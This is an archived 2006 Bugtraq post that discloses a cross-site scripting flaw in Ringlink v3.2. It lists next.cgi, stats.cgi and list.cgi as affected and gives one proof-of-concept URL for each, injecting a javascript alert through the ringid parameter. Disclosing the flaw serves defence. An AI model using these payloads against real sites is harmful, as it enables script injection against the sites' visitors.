Bugtraq mailing list archives

Ringlink v3.2 - XSS

From: luny () youfucktard com
Date: 10 Jun 2006 06:11:13 -0000

Ringlink v3.2

Homepage:
http://www.ringlink.org

Effected files:
next.cgi
stats.cgi
list.cgi

XSS Vulnerability PoC:
http://www.example.com/ringlink/next.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]

http://www.example.com/ringlink/stats.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]

http://www.example.com/ringlink/list.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]

Current thread:

Ringlink v3.2 - XSS luny (Jun 10)